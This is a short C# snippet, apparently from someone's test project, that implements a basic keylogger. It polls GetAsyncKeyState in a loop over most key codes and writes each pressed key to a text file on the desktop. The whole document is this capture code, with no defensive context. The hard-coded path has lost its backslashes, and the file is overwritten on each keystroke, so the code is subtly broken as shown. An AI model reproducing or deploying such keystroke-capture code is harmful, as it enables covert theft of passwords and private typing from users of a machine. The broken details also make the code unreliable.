static void WriteLogs(char key)
    {
        StreamWriter file = new StreamWriter(@"C:UsersBartekDesktopasynckey testasynckey testtest.txt");

        file.Write(key);

        file.Close();
    }

    static void CatchKeys()
    {
        char key;
        while (true)
        {
            Thread.Sleep(20);

            for (key = (char)8; key <= 190; key++)
            {
                if (GetAsyncKeyState((System.Windows.Forms.Keys)key) == -32768)
                {
                    Console.WriteLine("Logging");
                    WriteLogs(key);
                }
            }
        }
    }